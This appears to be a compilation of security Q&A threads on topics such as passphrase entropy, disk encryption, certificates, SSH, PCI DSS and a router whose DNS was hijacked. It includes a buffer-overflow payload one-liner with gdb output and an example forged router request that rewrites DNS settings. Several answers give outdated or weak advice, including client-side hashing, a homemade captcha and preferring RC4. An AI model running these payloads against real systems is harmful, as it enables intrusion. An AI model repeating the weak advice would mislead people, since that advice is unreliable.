For example, using Diceware, a six word passphrase gives me 77.4 bits of entropy. But if I now were to do simple changes to the phrase, such as use some uppercase letters, add numbers or other symbols, how does that affect the entropy? (I don't even know if uppercase letters matter since it's the same dictionary of words.) Could I achieve 77 bits of entropy by using just a five word passphrase and adding a few numbers and symbols?

Similarly, what happens if I add a word from outside the dictionary? Does that merely make the dictionary one word larger and therefore, not really change the entropy at all?

Thanks

As long you:

make such changes either randomly, or globally (for example, by capitalizing every word);
you add all of the resulting words to your dictionary; and
you continue to select words randomly for your passphrases

... then your entropy simply increases with the number of words.

But if you're doing anything non-random and non-global to transform the text, then you're adding complexity for which its strict Shannon entropy is much less relevant than its "real-world" entropy (how hard it is to crack). This is because your resistance to cracking would then depend solely upon the obscurity of your method, which would violate Kerckhoffs' Principle and is therefore not recommended.

In my opinion, you're far better off either adding a word to the passphrase, or increasing the size of the dictionary (which you could certainly do by tweaking the words as you've suggested, as long as it's random or global).

I personally only capitalize, add numbers, add punctuation, etc. to my passphrases in order to comply with naive complexity requirements, and do not count these towards the effective entropy in any way. Trying to do so randomly makes them too hard to remember (which is the whole point of a passphrase), so I actually have a method (cap the first letter, and then add "2" and "!" to the end).

And since I do not rely on those tweaks to increase the entropy, I'm not shy about disclosing the method publicly. Kerckhoffs would be proud. ;)


Would Poly1305-PBKDF2 be secure I have a Poly1305-implementation (not Poly1305-AES) in my library.

The difference: Poly1305-AES uses a key and a nonce and then uses AES to generate a one-time-key from key + nonce. This is necessary, because Poly1305 requires one-time-keys.
However if you are generating a unique random key anyway, you can leave out the AES-part. (short source, original source)

My question: Is it secure to generate a unique one-time-key from a static key using another KDF with unique salt (like PBKDF2)?

(I think you could call this Poly1305-PBKDF2 or sth. like this)

Yes this would be secure.

Why would it be secure?
Because you would be running HMAC (the underlying primitive of PBKDF) as a stream-cipher using some key-derivation function.
As this is a common approach (at least for integrated encryption schemes) using this would at least as secure as using the bare KDF and a salt.

However I'd strongly argue against using PBKDF2 for anything but password-based key derivation and as a "stream cipher" it would give people a wrong sense of security (because it's 1000x slower = 10 bits more security).

If you want to use Poly-1305 I'd recommend you using a dedicated stream cipher (e.g. ChaCha20) or a dedicated stream cipher mode (e.g. CTR).


Effects Of Encryption On Computer Systems I am currently writing an essay and one part is a discussion about the effects of encryption on an Operating System/Computer/Infrastructure in general.

However, I am struggling to see how a computer would be affected by encryption, whether it be full disk encryption or container based, beyond the performance of the system degrading slightly.

I am writing this in reference to encryption using software like TrueCrypt.

There does not seem to be any other kind of impact on the system itself. Most papers and articles all seem to point to and focus on the performance aspect.

Am I missing something obvious?

Any pointers would be appreciated.

There are several major impacts, not all of them relevant to all users.

Performance (based on throughput, i.e. MB/s - the more data you're moving in a given timeframe, the more encryption has to happen in that timeframe - when the encryption can no longer keep up, your data moves more slowly); if you use symmetric AES encryption with software that uses AES-NI instructions on a CPU with AES-NI instructions, this is more or less negligible even at GB/s rates.
Data loss risk: Any sector going bad on an unencrypted disk leaves the rest of the data available.  On an encrypted system, if that sector contains your key, and the encryption was done properly, you just lost all your data unless you have a backup of your key.

So have a backup of your key!!!

and keep it secure!!!

This is highly desirable for fast easy disk wipes.

Certain backup factors - if you use liveCD/USB versions of drive image software like Paragon, Acronis, Ghost, etc., then that software can no longer do a normal, compressed, filesystem-aware backup.  It must do a sector-by-sector image of the entire hard drive, since with good encryption, the "free space" is encrypted as well.
Partition management - just like with backups, liveCD/USB versions of GParted or Partition Magic can no longer modify the size of your partitions, since it can't move data around within your filesystem.


Is algorithm used to sign defined by certificate? Using pfx certificate to sign or cypher, the algorithm used (rsa-1_5, rsa-oaep-mgf1p, etc) is defined inside pfx certificate?

Certificate has information about algorithms used?

Or it's totally defined by software that uses these certificate?

If I understand your question properly you are asking whether when a certificate (and private key) is used to sign or encrypt data, does that certificate contain the allowed algorithms for that signing or encrypting?  The answer is not really.

Outside the specific type of public-key crypto implemented in the certs (usually RSA), you can integrate them with just about any type of encryption or digital signing algorithms.  If you want to use AES to encrypt data you can do that and use the cert public key to encrypt the AES key.  If you want to digitally sign a document you can use SHA-256 to hash the document and use your cert private key to encrypt the SHA-256 hash.

These algorithms can be just about anything you chose as long as any software intended to process the encrypted or signed documents is compatible.

If, instead, you're talking about the algorithm used to sign the certificate by the issuing CA, then yes, that is listed in the certificate.


Can a picturefile with stegano be malware when saved somewhere? I was reading an article about malware active in ad-banners, limited to systems with IE-browsers with some settings.
Millions exposed to malvertising that hid attack code in banner pixels

Researchers from antivirus provider Eset said "Stegano," as they've dubbed the campaign, dates back to 2014. Beginning in early October, its unusually stealthy operators scored a major coup by getting the ads displayed on a variety of unnamed reputable news sites, each with millions of daily visitors. Borrowing from the word steganography—the practice of concealing secret messages inside a larger document that dates back to at least 440 BC—Stegano hides parts of its malicious code in parameters controlling the transparency of pixels used to display banner ads. While the attack code alters the tone or color of the images, the changes are almost invisible to the untrained eye.
To execute the hidden payload, the malicious ads load a heavily modified version of Countly, an open-source package for measuring website traffic. That JavaScript extracts the hidden code out of the image and executes it. Because there's nothing per se malicious in the JavaScript, ad networks fail to detect what's happening.

Might it possible that a javascript(or other)-stegano file saved on a hd, could be active when an internet connection is online ?

Files are not inherently dangerous; attack files like this are either programs that need to be executed, or make use of issues in another program when loaded into that one as data.

From your article:

  To execute the hidden payload, the malicious ads load a heavily modified version of Countly, an open-source package for measuring website traffic. That JavaScript extracts the hidden code out of the image and executes it.

That is, the image contains a small JavaScript program, which is extracted and run by some code that the ad network places on a webpage, and viewing that webpage causes your browser to execute it.

If the image were to just sit on your hard drive, nothing happens. If you open it in an image editor, nothing happens. You have to execute it.

Now, many pieces of malware will take advantage of vulnerabilities in image viewing software, audio players, etc., so it is not generally safe to open up suspicious files in them; I don't mean to imply that web browsers are the only way to run an exploit. Similarly, malware will often try to get itself added to a machine's "run at boot" list, so that the OS will execute it automatically. But in this specific case, it appears the exploit runs through a browser.

Anyways, when it is run, an exploit can do (more or less) anything it wants, so yes, it could check for the presence of a valid network connection. It's mentioned that this one performs a series of checks to try and determine if it's being run in a vulnerability-checking environment, and those are probably much more sophisticated than merely checking if it can access an external server. But again, this can only happen if it's running.


How to test for the BEAST attack if server isn't Internet-connected? I'd like to test a server specifically for vulnerabilities related to BEAST. What command line switches should I use?

What should I see (or not see) in the output?

Update

The intent is to scan a non-Internet connected web server, or to scan a server that is running on a non-default port.  In all other cases I could use SSL Scan for this task

Background. To learn more about how to mitigate the BEAST attack, I recommend reading the following two blog posts: Rizzo/Duong BEAST Countermeasures and Mitigating the BEAST attack on TLS.  You'll quickly learn that there are no really great solutions.

What to scan for. Right now, the only known server-side mitigation is for the server to force use of RC4 by refusing to accept any other ciphersuite.  A similar variation is to place the RC4 ciphersuite as the highest preference; this is almost as safe, as it ensures that any client which supports RC4 will use RC4.

Thus, when you scan a SSL server, if the server prioritizes any block cipher based ciphersuite higher the RC4 ciphersuites, then it can be considered vulnerable to the BEAST attack.  If all the ciphersuites it accepts use RC4 (or if the RC4 ciphersuites are prioritized before any block cipher ciphersuite, except for TLS 1.2-only ciphersuites), it is probably safe from the BEAST attack.

Determining the server's priorities on ciphersuites can be tricky, and may require multiple connections to the server with a different set of ciphersuites each time.  However, in this case one simple method may be to have your client connect with a list of ciphersuites that starts with all of the (non-TLS-1.2-only) block cipher suites, and then end with some RC4 ciphersuites.  If the server picks any block cipher ciphersuite, then the server is probably vulnerable to the BEAST attack.

Ideally, the server would support TLS 1.1 or higher.  If both the client and the server support TLS 1.1, then the BEAST attack becomes much harder (it requires a man-in-the-middle attack).  Therefore, if the server doesn't support TLS 1.1, you might want to output a warning/advisory suggesting that the server admin upgrade to provide TLS 1.1 support.  However, apparently supporting TLS 1.1 on both endpoints is not an absolute guarantee of security, due to the possibility of downgrade attacks if a man-in-the-middle is present, so I would suggest listing this merely as a warning/advisory, rather than a critical failure.

More on SSL server scanning. You might want to consider using the SSL Labs service for scanning a SSL server.  It is a great way to test for many possible configuration vulnerabilities.  It will also test whether the server is vulnerable to the BEAST attack, but it will check for many other common and serious problems as well -- which is probably more useful than just looking for the BEAST problem.


Can SSL requests be proxied by issuing a second certificate? Alice wants to login to her account at https://www.bobsbank.com/. However she clicks on a malicious link in an email and instead gets sent to the malicious site https://www.charliesbank.com/. The malicious site has a secure SSL relationship with Alice. Alice sees the "this site is secure" padlock icon in her browser. When the malicious site (Charlie's Bank) receives Alice's request, the malicious site decrypts the request using the SSL certificate which it owns. It then re-encrypts the request with the public key for Bob's Bank. It has established an SSL relationship with Bob's Bank. Bob's Bank has no way of knowing that Charlie is not, in fact, Alice, as Charlie can provide all of Alice's information. Charlie can then listen in on, and even tamper with, Alice's subsequent browsing session.

Does this attack work and is there any way to prevent against it?

This is exactly why I got so pissed off at Bank of America when they sent out a link to myfraudprevention.com when they thought my account was compromised.  SSL only works to verify that some trusted third party has validated that the website being visited belongs to the name of the URL being visited.  If you sent someone to your own website and that website had a certificate, you could still make the site look like whatever you wanted, including a phishing site pretending to be some other organization.

All SSL would care about is that you are actually the owner of charliesbank.com.  Bank of America was literally training their users to fall victim to phishing in an e-mail designed to help stop fraud...

User training is the only way to prevent this currently.  If you actually check the details of the certificate being presented, it should tell you more details about the organization that the certificate is issued to.  If the SSL certificate has Extended Validation and is the organization you are wanting to talk to, then it means that some certificate authority has looked in to them and determined they are the organization they claim to be, but currently it is on the user to understand how this process works and do the verification themselves.  It is also on the user to check the URL to which they are connected.

There probably isn't a whole lot that can be done to improve this either as there is no way for the computer to know that the user really wanted bobsbank.com but visited charliesbank.com.  The icon could be replaced with something that shows more details about the certificate, but in general, this just causes more confusion for most users that don't understand how SSL works.


Fiddler show external requests but not initiated by any legitimate process While debugging my web application in Fiddler, I found out that there are some suspicious requests to some hotel sites, search requests to google.pl. etc. See below images. Strangely there no process displayed in Fiddler.

It's definitely a virus. I don't know how to find out which software or process is causing it. Any help to further analyze and secure my system is highly appreciated.

You won't see a process if the request is not from the local machine, I.E., if you are allowing other machines to proxy via Fiddler. Check the Tools | Telerik Fiddler Options menu, and on the Connections tab, see if "Allow remote computers to connect" option is checked.  If it is, this is likely where these requests are coming from, and why you can't identify the process they're associated with.


Why are SSH host keys stored un-encrypted? Do we have any standard way to encrypt SSH host keys (like /etc/ssh/ssh_host_rsa_key)? If not, why is it stored in plaintext? Isn't it sensitive information?

The private part of the host key is needed at sshd startup. It would be inconvenient to require a superuser to input the passphrase every time sshd is started. Obviously, storing the passphrase somewhere and passing it through configs would just move the problem elsewhere.

Private key security relies on filesystem permissions. There's no need to go further, as an attacker with root access to a machine could just create new host keys willy-nilly, overwriting any passphrase-protected keys you have in place.


How to deliver an application to several clients with a single trusted SSL certificate? I am working for a software editor and we deliver to our clients a turnkey solution that the client has just to install on his server to use it. This solution is a web service who uses HTTPS to communicate. This web service can be public (accessible from the Internet) or not, client choice. To enable HTTPS, we provide in our solution a self-signed certificate (this certificate is the same for all our different clients but specific to our solution).

Now, a client is asking us if we could deliver the solution with a trusted SSL certificates (to avoid ERROR_SELF_SIGNED_CERT in their browser when connecting to the service).

My question is: is it possible to provide a trusted certificate in our solution? If yes, how? If no, what can we suggest to the client to answer to his request?

You should allow the client to add their own certificate to your solution. They can get that from wherever they want.

Alternatively, if the domain is reachable from the internet, you could automatically fetch a new certificate from Let's Encrypt


JavaScript Malware attack vector I've been reading a bit lately about pure JavaScript ransomware attacks.  The  Sophos seems to imply that this a a browser based attack and that you're infected by only visiting the site.

I can't find any practical examples of how this might be achieved though and I'd like to try to get a demo working (just showing I can change some file I shouldn't be able to).

Any advise on where I can look to get more practical advise?

(Also, I think that this vulnarability is only on IE?  Is that correct?)

The Sophos seems to imply that this a a browser based attack and that you're infected by only visiting the site.

No, it doesn't. To cite from the site:

  ... These days, a lot of ransomware arrives in JavaScript attachments.
  ... The JavaScript doesn’t download the ransomware, it is the ransomware.
  ... On Windows, JavaScript outside your browser runs in the Windows Script Host (WSH)

Nothing in this article suggests that this is a browser based attack. In contrary, it explicitly says that the script needs to run outside the browser to have the appropriate permissions.

  ... can't find any practical examples of how this might be achieved

There are enough examples for using WSH (Windows Scripting Host) from a Javascript running outside the browser. For a specific case of how this is used in malware see for example Ransomware in your inbox: the rise of malicious JavaScript attachments. And with the help of WSH the attacker gets access to lots of functionality, including reading and modifying files.


Is converting `<` to `<` sufficient to prevent execution of JavaScript from arbitrary HTML? This is kind of a bar-bet question.  An acquaintance of mine has made the claim that, given an arbitrary glob of HTML, it can be completely prevented from executing JavaScript if, before slapping it into a webpage, you replace all instances of < with &lt; -- and make no other changes.

I am not convinced my acquaintance is correct, but I can't think of a counterexample either.  Can anyone prove or disprove?

Clarification: Assume that the escaping happens server-side, and the glob is inserted as the contents of a normal element, e.g.

<p>{{ GLOB GOES HERE }}</p>

Also, assume a client that implements the HTML5 parser algorithm, correctly; we're not worried about bugs, legacy parsers, or scenarios that apply only in XML or SGML.

Further clarification: The OWASP rules are deliberately conservative.  Because this is a bar bet, we want a pedantic answer, not a conservative answer.

Inside the element, the parsing mode is in data state.  The only special characters that can escape data state are < and & (http://www.w3.org/TR/html5/syntax.html#tokenization sec.8.2.4.1).

If you replace all instances of < with &lt; then you only need worry about &.

In HTML4 and XML, you would need to consider which entity references are available for replacement, and whether any of them could be used to inject a script or other attack vector.  This could be a problem, for example, if the markup refers to an external DTD and the attacker can redirect a network download of the external DTD to one of their own choosing.  This is one reason that many XML and HTML parsers do not go to the network to resolve system identifiers.

However, HTML5 only permits & to be used for character entities, none of which can be used to escape data mode.

Hence, in the absence of bugs in the parser and in the markup, your acquaintance is correct.


How to get attacker mac address aireplay-ng I'm currently working on a WIPS and I would like to know how to obtain the attacking MAC address when he launches a aireplay-ng deauth attack.

On wireshark, if the attacker broadcast the deauth attack it appears as source address my router and destination address broadcast. If the attacker launches the attack to a specific victim it appears as source address my router and destination the victims MAC address.

Is there any way to obtain the attacker MAC?

Deauth attacks require that the attacker spoofs the MAC address. What you are asking is to somehow get the MAC address of the attacker even if it is spoofed.

This is not possible from packet captures.

There is a potential that if the attacker hangs around long enough and sends packets from the real MAC on the network, then you might be able to correlate that traffic to the deauth traffic and conclude that the MAC is the attacker's. But there are a lot of things that would have to occur for that to be possible.


How to know whether a textfile has been edited or tampered with? Is it possible to know whether a textfile, e.g. in XML format, has been edited or tampered with over time?

The context to my question follows:

I am a scientist in industry using a technology called 'mass spectrometry (MS)'.  MS is an analytical technique used, e.g. in forensic analysis to determine whether a particular compound is present in a sample (e.g. drug of abuse in blood or urine).

Mass spec. datafiles are usually stored in flat-file format to the instrument vendor's private binary specification - their software can process it, but nothing else can. However, open standards for MS data exist, and most vendors support export to at least one open specification. These open standards are mainly XML based these days (eg mzML) and allow processing with open source applications, and also allow long-term storage (> 10 years) of the data in a format that doesn't require that we maintain an archived computer and the OS (or VM) and the processing software for long periods.

The vendor binary format provides at least some security against data tampering, however the XML formats do not. Hence the issue - the open formats are very useful for providing access to data over archival timescales, but security is a problem.

The default solution would be to use cryptographic signatures. Have every technician generate a PGP keypair, publishing the public key and keeping the private key secure.

When a technician made an analysis, they sign the result file with their private key. Now anyone who wants to verify the file can check the signature using the public key of the technician. When anyone changes the file, the signature won't be correct anymore.

Security consideration: Should any private key of a technician get known to someone else, that person can change the files and also change the signature to one which will be valid. This problem can be mitigated by having multiple persons sign each result file. An attacker would require all keys to replace all signatures with valid ones.

Alternative low-tech solution: Print out each result file, have the technician sign it the old-school way (with a pen) and deposit the file in a physically secure archive.

By the way: Do not assume that the vendor-specific binary format provides any more security against tampering than XML does. Just because you can't read and edit it when you open it with a text editor doesn't mean nobody else can reverse-engineer the format and build an editor for it.


When I try to SSH into my computer through its public IP the server's host key fingerprint is different? When I SSH into it through my local network, and when I actually go and check with ssh-keygen I get 1 rsa fingerprint. And when I try to SSH in though my public IP I get a different host fingerprint shown in putty. This host fingerprint does not appear to be the fingerprint of any of the host keys (or even client keys, I checked) on my server. It is totally unknown to me.

Am I the victim of an attempted man-in-the-middle attack? And if so, is there anything I can do so that I can actually SSH into my server remotely without compromising my server's security?

Welp, I'm an idiot. It turns out I forgot to change the port I was connecting to from 22 to the port I set to port forward from on my router. Strange that my router accepts its own ssh connections on port 22 though.


Using HTTP Basic Auth on a Personal Website So I'm making a portfolio site with a blog which is accessed via a different URL slug and I'm wondering if using basic HTTP auth is enough for security on this website as I will be the only person capable of logging in to the website.

The website will be using HTTPS if HTTP is not secure enough for basic HTTP auth.

If your the only person accessing the website then it's only network you access the website need to be secure. For example, let's say you only operate this blog from your home network. If your home network was compromised by an hacker and they was ARP spoofing on network to capture your credentials or had control over your router to log packets.

I'd recommend you also (if you're not already doing so) is hash your password client side using javascript / jQuery before sending it accross the network. You could also throw an handshake on there to make it harder to compromise too.

If you want to go for a step futher on tighting up the security:

Client request login page
Server gives them login page with handshake key
Client hashes the password and does password then appends handshake key and hashes that.
Server get password from DB which is hashed and handshake key and ensure that is valid before processing it. Ensure the handshake key isn't managed by the client.
If handshake passwords, compare password to DB password.

This would prevent hacker if someone compromised the local network and got your hashed password they wouldn't able to login to your account since they wouldn't know the password for the handshake.


API Key DDOS prevention method Hi I just wanted some feedback on a DDOS preventing php script that I'm designing. It quite simple and I wanted some feedback on whether you guys think it would be effective.

I'm currently using the ulogin framework as a base and have implemented API Key's. At the moment the user will send a request with a key. This key is checked against the database to see if it correct. So if the key is not correct the program will return.

If the key is correct then some statistics are going to be calculated. The first thing is to increment the counter. The average hit per second will be calculated from the time they started requesting to the current time. Also there is a window of X seconds in which the counter will be reset (Lets say 300). The programmer specifies the max number of requests that should be allowed in this window. If the key is over the limit of requests per stats reset (Window) or over a certain amount of requests per second, they will be blocked and not given access. However the counter still increments but another counter is started (blockcount).

When the counter is set to 0 at the end of the window, the count for the next window will be set to what ever the blockcount is and the blockcount will be set to 0. If the user doesn't use the API key for X (window) seconds then both counters will be reset to 0.

I have added a transferpenalty variable (0-1) that will take a percentage of the blockcount on to the next window instead of the entire block count but I don't think that it is neccessary to have this.

Is this already being done? Would this protect against a sniffed API key being used to (D)DOS a server? What are your thoughts :)

Your code is good for monitoring users activity on the server but to be honest, It can't help preventing DDOS attacks since the aim of DDOS attacks is to send tons of requests to the server to make it too busy to respond to its intended users.
your code seems to be doing lots of checking to determine if the number of requests has reached beyond your standards, and this means that not only the attacker has reached his goal keeping your server busy but also you are helping him with lots of processing which is done by your code.
Imagine that each time there is a request, your code has to search through database and retrieve information and then compare them and do lots of other stuff.
there is nothing you could do in PHP to stop this kind of attacks.
and also if the attacker uses UDP attack, your code will do nothing since the Apache listens to TCP port.
The only thing that can protect your website from DDOS attacks is your Hosting company. the company needs to have needed equipments like:

Firewalls
rate-limiting Switches
appropriate Routers
Application front end hardware
IPS based prevention
DDS based defense
Blackholing and sinkholing
Clean pipes

but if you need a secure login system you could use a captcha, even the one you created yourself. simply generate a random 5 digit number and create an image in PHP with the number printed in it and show the picture on the form and when the user submits the form, check if the number you generated matches with the one user entered. and also you can use PHP/JavaScript AES libraries to encrypt user inputs on the client side and decrypt them on the server.


PCI DSS - Recorded Phone Conversations I am using the using the following image from FishNet Security as a sort of guide for the data flow diagram required by PCI DSS as defined by:

  1.1.3 Current diagram that shows all
  cardholder data flows across systems
  and networks

Let's say in addition to this diagram that we receive phone call payments inside of the storefront section of the image and the phone calls are recorded for both training and review purposes. Even if the audio is encrypted, is the stored phone call data considered sensitive card data and thus in scope for the diagram?

Yes, it's in scope.  There's actually a pretty thorough and explicit guide from the PCI Security Standards Council (the DSS people) to your exact question here:

Information Supplement: Protecting Telephone-based Payment Card Data

Which makes reasonably clear statements like this about card numbers:

  Call centers will need to ensure that PAN data is rendered unreadable
  (for example, encrypted using strong cryptography) when stored.

  This is part of PCI DSS Requirement 3.4 and includes ensuring PANs
  stored within the QA/recording and CRM solutions are encrypted using
  strong cryptography, or are otherwise rendered unreadable.

and this about CVV:

  It is a violation of PCI DSS Requirement 3.2 to store any sensitive
  authentication data, including card validation codes and values, after
  authorization even if encrypted.

  It is therefore prohibited to use any
  form of digital audio recording (using formats such as WAV, MP3, etc.)
  for storing CAV2, CVC2, CVV2 or CID codes after authorization if that
  data can be queried; recognizing that multiple tools exist that
  potentially could query a variety of digital recordings.

...and it goes into all the other ways call centers and recordings are impacted (e.g., network encryption, authentication and authorization, etc. etc.)


Bufferoverflow for small return address I am using buffer overflow to overwrite the return address and calls another function. The name of function I call by overwriting the return address is not_called. Here is how I create the payload
(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x3b\x42\x08\x08")')

The program works in the above case and not_called function is called. The problem arises when address of not_called is in this format : 0x57d.
When I create payload as follows :
(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')

I get the following error and program won't work.
(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/aditya/Desktop/victim $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
/bin/bash: warning: command substitution: ignored null byte in input
0xffffd07c

Program received signal SIGSEGV, Segmentation fault.
0x5600057d in ?? ()

If you look at address at SIGSEV, it is 0x5600057d, it should have been 0x0000057d.
For example, If I try some random address as 0x3412057d, you can see that seg fault occurs at that address.
Starting program: /home/aditya/Desktop/victim $(python -c 'import sys; sys.stdout.write("A"*112 +"\x7d\x05\x12\x34")')
0xffffd06c

Program received signal SIGSEGV, Segmentation fault.
0x3412057d in ?? ()

I can see that function bash is also giving some warning with null bytes. Dows this have to do something ?
How can I pass such a small address ?

The issue is not that the address is "small", but that you are trying to print null bytes (\x00) as a shell argument. This is not possible with bash, to my knowledge, as it uses null-terminated strings.
Depending on the program and exploit, if the memory you are overwriting already contains null bytes, you may not need to write them again. For example, you may be able to do a partial overwrite with just \x7d\x05.


PCI and SSH Port forwarding I am trying to convert a widows jump server to a Linux jump server. There are a few windows boxes behind this jumpserver, and I was wondering if I can just enable port forwarding over ssh with a password based ssh key, and rdp to those servers.

Specifically, i am not sure if this is against PCI DSS? Does anyone know from experience?

Additionally, if I don't enable port forwarding, then is there any other way to access these windows servers?

Please help me understand.
Thanks .

It would not violate PCI-DSS if normal rules are taken into consideration. In fact, it's common practice by PCI-DSS recommendations.

The thing is it would be good to implement two-factor authentication on these with e.g. token and also timeout unused connections and use these connections only when needed.

Basically to see what's going on the RDP connection when it's being used and require token when establishing new connection.


Why it is difficult to write an application to protect 100% against keyloggers? When you press keystrokes, I suppose you can intercept in low level code all applications that listen and record. Why it cannot be designed a software that protects 100% against keyloggers, simply refusing the access to all applications that are not on a whitelist? And the problem is how to manage the whitelist ...

And the problem is how to manage the whitelist.

And that problem makes your solution impossible. Let's see why.

Debuggers and other developer tools

They can access low-level functions like those used by keyloggers, but are used for legitimate reasons by developers. If you whitelist those, developers are in risk. If you not, they productivity will be impacted.

Angry developers are bad for the health of the company.

Dynamic Link Libraries

Also know as .dll (or .so on Linux). If a trusted application can load an external library file, this file can be hijacked and execute malicious code inside the application memory space. Now you have to whitelist library files too. But those files receive upgrades, so you must create a whitelist of every single version of every single library file for every single application you have.

A difficult job to create, an even out-worldly nightmarish difficult job to maintain.

Malicious use of manufacturer applications

If you allow drivers signed by certified manufacturers and an attacker gets the certificate private key (that happened more than once), they can put any application on the whitelist. Once that happens, or you remove the entire certificate from your whitelist (and break every system that have those legitimate applications running) or you leave it active and risk infection.

You create collateral damage. Users not likely to be affected by the keylogger are affected by your blacklist.

Hardware keyloggers

This is outside of your scope, but even with a really tight closed security, a hardware based keylogger is impossible to detect by software, cannot be protected against.


Zero Knowledge Proof Password Systems I am wondering if there is a practical zero-knowledge proof system that can be used by humans to authenticate themselves to a server. Note that even the computer can not be trusted (at least with the authentication), the prover part of the protocol has to be completely in the user's brain.

Well, in short not yet.

As we harden systems and become better algorithm creators it’s possible that in the future we may have one


Potential False Positive while scanning a network with Nexpose - X509 Certificate mismatch Little bit of context, we are seeing this finding a lot.
We use wildcard certificates on public facing websites.

The finding is titled:

  "X.509 Certificate Subject CN Does Not Match the Entity Name"

Below, I have added further details about the report on the finding from the scan (in Block quotes) and I have provided my comments underneath. I hope that someone with more experience may provide feedback to ensure my thought process is valid and that this is in fact a false positive.

From research and reviewing the indicators I believe it to be a false positive for the following reasons (please note, I have changed the domain name):

  Subject CN *.somedomain.com does not match target name specified in the site.

Site refers to the name given to the asset within the scan configuration. In this case all assets are scanned by their IP address. The IP address doesn't match the CN.

  Subject CN *.somedomain.com could not be resolved to an IP address via DNS lookup

Given that wildcard certificates are used, wildcard domain will not resolve with a DNS look up.

  Subject Alternative Name *.somedomain.com does not match target name specified in the site.

The IP address is not listed as an alternative name. No match.

  Subject Alternative Name somedomain.com does not match target name specified in the site.

Once again, IP is not listed and therefore will not match the domain name.

Keep in mind, that if the site is ever visited from a valid url, for example, client1.mydomain.com the certficate is valid and works as expected. I just believe that this is mainly due to the reasons listed above and given the nature of wildcard certificates.

Any comments appreciated and also if there are any other methods I may check for validity to provide assurance to my team would be greatly appreciated.

Thank you for your input.

If you intend to access your site via (e.g.) IP 192.168.1.1 then you will need to have that same IP in the certificate.

Namely inside the "Common Name" and/or "Subject Alternate Name" sections.

Otherwise it will not be valid to access via that IP.

But if you don't plan on ever accessing via that IP, then you don't need the IP inside the certificate. And you don't have to care about the scanner's warning either. -- The warning is the expected result in this case. (See this SSL scan for the IP of "example.com". It also has as a warning that reads "The certificate doesn't match hostname". And rightfully so, since the IP is not listed inside the cert.)


Is my modem compromised? My modem automatically changes its DNS server from Norton DNS server to AdClick server. How do I prevent this from happen again? Is it possible to have protection from these for modem? How do I check if any of my devices caused this problem?

Modem I've used: TP-LINK TD-W8901G (Model V3.1)

Detailed version of my problem:

This happened months ago, at first, MBAM told me that I have been infected by Trojan.DNSChanger in the registry data. At first, I thought it was a joke, since the registry data stores variables as string, hex, number, etc. But when I run a check again, it came back. I searched about it, and found many results about it, most told the user to reset their modem to fix the problem.

So I have reset my modem, re-setting up it, and few weeks later, it came back. This time I did research about it. The primary DNS is: 37.48.127.131, secondary DNS is 8.8.8.8, which is Google DNS server. The primary DNS server looks compromised, so I've checked where it was located, it was located in Europe, and looks like one of those AdClick servers, cause my phone doesn't have any ad-blocker, and it redirects me to their website.

This time, I deep-cleaned my computer, using Hitman Pro, MBAM, ESET, AdwCleaner. And setup my DNS server to Norton DNS server. This was going for months, and came back again, somehow this virus is able to guess my very-long password and edit the DNS server IP. I scanned my computer again, reset my modem, set DNS server to Norton DNS server.

After few months (now), it came back again, this time my other computers were infected, Same ad-redirection again. I still have no idea how it gets in the setting page, and edits the DNS server IP. I tried to change DNS server without removing, but I was unable to change it, every time I saved it, it will change back to the AdClick DNS server (now showing 5.104.175.151 as primary DNS). I am running a check for my main computer right now [it has low CPU speed, now still scanning].

UPDATE

Your device (W8901G) is in all likelihood VULNERABLE, to the very exploit described below, and more, and even more. I think that the steps suggested below may ameliorate your situation,  but unless a firmware fix is available from TP-Link, you should consider replacing your router.

The TP-Link search form did not supply any link (W8901G is end-of-life, but even activating EOL listing I only got the W8901N model), or perhaps I wasn't able to have it working properly, but since their pages have the product code as name, I tried entering it directly and found this:

http://www.tp-link.com/lk/download/TD-W8901G.html

This seems the most recent page, and as you can see, the firmware release is earlier than some of the exploits above. It is therefore likely that this firmware upgrade, while fixing some vulnerabilities, may not fix all of them. Also, it is only for V6 hardware; if you have an earlier revision, applying the patch might well brick your router.

Unfortunately, your router also seems not to support DD-WRT, which is a way (not for the faint of heart, in my opinion) of breathing new life into an older router, or squeezing more performances that the original manufacturer allowed - or even believed possible.

So I'm afraid that the easiest way out is purchasing a new router (after checking it out in the vulnerabilities database... just in case).

OLD ANSWER

Some modem-routers have vulnerabilities that allows for unauthenticated access from either the inside or the outside of the network.

So you can be tricked by an Internet page which is able to successfully mount a script attack and have you access, say,

http://192.168.1.1/cgi-bin/adm.cgi?cmd=DNSUpdate&ip1=5.104.175.151...

Your modem "sees" the connection coming from your computer, which is not exactly infected even if it's reading a hostile webpage, accepts it and - bang.

Also, your modem might expose a remote control page, or vulnerability, which allows anyone from the outside to update its values.

What I would do is,

UPDATE the modem firmware to the latest compatible version,
VERIFY that there are no up-standing known vulnerabilities (a Google search for "MYMODEL MYBRAND vulnerability" is often enough)
TEST accessing your own IP from the outside using a different network (a smartphone, for example, not connected to your home wireless) and see what happens (hopefully, nothing). Even a "Not Found" page is BAD NEWS because it means that the modem is listening. It's not obeying your malformed command, yes, but there's no guarantee it can't obey a properly formatted exploit as long as it is able to listen. A deaf modem would be way more secure.
DISABLE any remote control capability on the modem. On some models you can not do so explicitly, but you can instruct the modem to redirect all incoming requests to a DMZ host of, say, 192.168.1.254 -- of course you must be sure there are no IPs allocated there; better if it's outside the DHCP address pool altogether. This way, any incoming administrative connections will be rerouted to nowhere-land.
CHANGE the IP address range of your modem from the default (often 192.168.1.1 or 192.168.0.1 or 192.168.2.1) to something like 192.168.219.137, and your network to 192.168.219.0/24. This will ensure that any "simple" reflection attack will fail; at the very least the attacker will need to send some 60,000 attempts for a blind attack to succeed.
Also: you can instruct your PCs to not ask DNS information to the router, and instead rely on a fixed address you'll enter manually (e.g. the classic Google DNS 8.8.8.8). It is not a complete defense against everything that could be done through a compromised modem-router, but it does protect against simple DNS+DHCP hijack.

What's the worst it could happen?

TL;DR It would be bad" (i.e.: fly, you fools!).

In the general case, with a compromised router of sufficient power you can basically no longer trust anything coming from the network. This includes, for example, any apparently legitimate software update package. Not all software companies employ strong cryptographic verification of their packages.

